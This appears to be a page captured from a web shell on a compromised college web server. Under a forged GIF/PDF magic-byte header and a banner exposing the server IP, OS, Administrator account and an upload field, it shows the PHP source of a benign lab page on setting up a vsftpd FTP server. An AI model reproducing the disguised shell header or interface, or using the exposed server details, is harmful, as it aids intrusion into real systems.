GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST2608/Labs/Lab07/ |
Upload File : |
<? // JimMartinson/CST2608/Labs/Lab07/index.php require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. require('JimMartinson/CST2608/Labs/StudentServerNameNAT.phpinc'); require('common/Browser/Browser.phpinc'); $disabled = ''; $disabled = ' disabled'; ?> <fieldset><legend>Description</legend> The purpose of this lab is to setup an FTP server. <br><span class="note normal">DO NOT PERFORM THIS LAB UNTIL Lab 3.5 has been successfully performed.</span> <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend>Lab Instruction</legend> Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder. <ol class="count"> <!-- 1 --> <li>Setup your user ftp directory. <span class="note normal">Perform this step on your server or from a PuTTY terminal window connected to your server.</span> <ol type="a"> <li>Create an <b class="copyText">ftp</b> directory in your home directory (<span class="copyText">~/ftp</span> or <span class="copyText">/home/<?=$Uusername?>/ftp</span>)</li> <li>Create a text document named <b class="copyText"><?=$userFileName?>.txt</b> in the ftp directory.</li> <li>Create a directory named <b><?=$courseNumber?></b> in the ftp directory.</li> </ol> </li> <!-- 2 --> <li>Install an ftp Server. <span class="note normal">Perform this step on your server or from a PuTTY terminal window connected to your server.</span> <ol type="a"> <li>Open a terminal window.</li> <li>Install the <b>vsftpd</b > ftp server with the command: <kbd class="copyText">sudo apt install vsftpd</kbd>.</li> </ol> </li> <!-- 3 --> <li>Get the Webmin vsftpd module: <span class="note normal">Perform this step from your Windows 10 VM.</span> <ol> <li>Open a browser and download <b>VSFTPD 1.4</b> (vsftpd.tar.gz) file from <a href="https://www.webmin.com/cgi-bin/search_third.cgi?search=vsftp">webmin.com</a></li> <li>Open Webmin in a browser.</li> <li>Click on <span class="pad" style="color:#ccc; background-color:#386386;">Webmin</span> in the left-hand menu to expand the menu.</li> <li>Click on <span class="pad" style="color:#ccc; background-color:#386386;">Webmin Configuration</span> in the left-hand menu.</li> <li>Click on the <span class="pad" style="color:#333; background-color:#ccc;">Webmin Modules</span> button in the right-pane.</li> <li>Select <b>From uploaded file</span></b>, click on the paper-clip-icon, and browse to where you saved the vsftpd.tar.gz file and select it.</li> <li>Click on the <span class="pad" style="color:#fff; background-color:green;">Install Module</span> button.</li> </ol> </li> <!-- 4 --> <li>Verify vsftpd ftp server works with Webmin and configure it.: <ol> <li>Click on <span class="pad" style="color:#ccc; background-color:#386386;">Servers</span> in the left-hand menu to expand the menu.</li> <li>Click on <span class="pad" style="color:#ccc; background-color:#386386;">Vsftpd</span> in the left-hand menu.</li> <li>Click on the <span class="pad" style="color:#333; background-color:#ccc;">Manual entries</span> button in the right-pane.</li> <li>Uncomment the <b>write_enable=YES</b> line. <span class="note">Mine was on line 31.</span></li> <li>Save the change.</li> <li>Take a screenshot and save it as <b class="copyText" style="white-space:nowrap;"><?=$saveFilename?>_webmin.png</b> in your <b><?=$evaluationName?></b> folder.</b>. <br><div id="show<?=$evaluationNumber?>a" class="inline">(<a href="#" onClick="divHide('show<?=$evaluationNumber?>a'); divShow('<?=$evaluationNumber?>a'); return false;">Show example screenshot</a>)</div> <div id="<?=$evaluationNumber?>a" class="hidden">(<a href="#" onClick="divHide('<?=$evaluationNumber?>a'); divShowInline('show<?=$evaluationNumber?>a'); return false;">Hide example screenshot</a>)<br> <img src="images/webmin.png" title="Example screenshot"> </div> </li> <li><b>Return to vsftp</b> and then <b>Restart Vsftp Server</b>.</li> </ol> </li> <!-- 1 --> <li>Install FileZilla FTP client. <span class="note normal">Perform this step from your Windows 10 VM.</span> <ol type="a"> <li>Install and configure <a href="https://filezilla-project.org/">FileZilla FTP client</a> for FTP on your Win 10 VM.</li> <li>Configure a connection to your <?=$Uservername?>.<?=$domain?> server with your username and password.</li> <li>Display the configuration dialog.<br> Take a screenshot and save it as <b class="copyText" style="white-space:nowrap;"><?=$saveFilename?>_config.png</b> in your <b><?=$evaluationName?></b> folder.</b>. <br><div id="show<?=$evaluationNumber?>b" class="inline">(<a href="#" onClick="divHide('show<?=$evaluationNumber?>b'); divShow('<?=$evaluationNumber?>b'); return false;">Show example screenshot</a>)</div> <div id="<?=$evaluationNumber?>b" class="hidden">(<a href="#" onClick="divHide('<?=$evaluationNumber?>b'); divShowInline('show<?=$evaluationNumber?>b'); return false;">Hide example screenshot</a>)<br> <img src="images/config.png" title="Example screenshot"> </div> </li> <li>Connect the FTP client to your server. Take a screenshot and save it as <b class="copyText" style="white-space:nowrap;"><?=$saveFilename?>_ftp.png</b> in your <b><?=$evaluationName?></b> folder. <br><div id="show<?=$evaluationNumber?>c" class="inline">(<a href="#" onClick="divHide('show<?=$evaluationNumber?>c'); divShow('<?=$evaluationNumber?>c'); return false;">Show example screenshot</a>)</div> <div id="<?=$evaluationNumber?>c" class="hidden">(<a href="#" onClick="divHide('<?=$evaluationNumber?>c'); divShowInline('show<?=$evaluationNumber?>c'); return false;">Hide example screenshot</a>)<br> <img src="images/ftp.png" title="Example screenshot"> </div> </li> </ol> </li> <!-- 1 --> <li>Turn in your assignment: <ol type="a"> <li>Copy <b class="copyText">/etc/vsftpd.conf</b> to your <b><?=$evaluationName?></b> folder. <span class="note">I did this by copying the file from /etc on the Ubuntu server to my users <b>ftp</b> directory on the Ubuntu server. Then I downloaded it to my Windows 10 VM <b>Lab07</b> folder using FileZilla.</span> </li> <li>Make sure the following files are in your <b><?=$evaluationName?></b> folder.<? $filesToSubmit = array( 'vsftpd.conf', $saveFilename.'_config.png', $saveFilename.'_ftp.png', $saveFilename.'_webmin.png', ); showFileList($filesToSubmit); ?> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>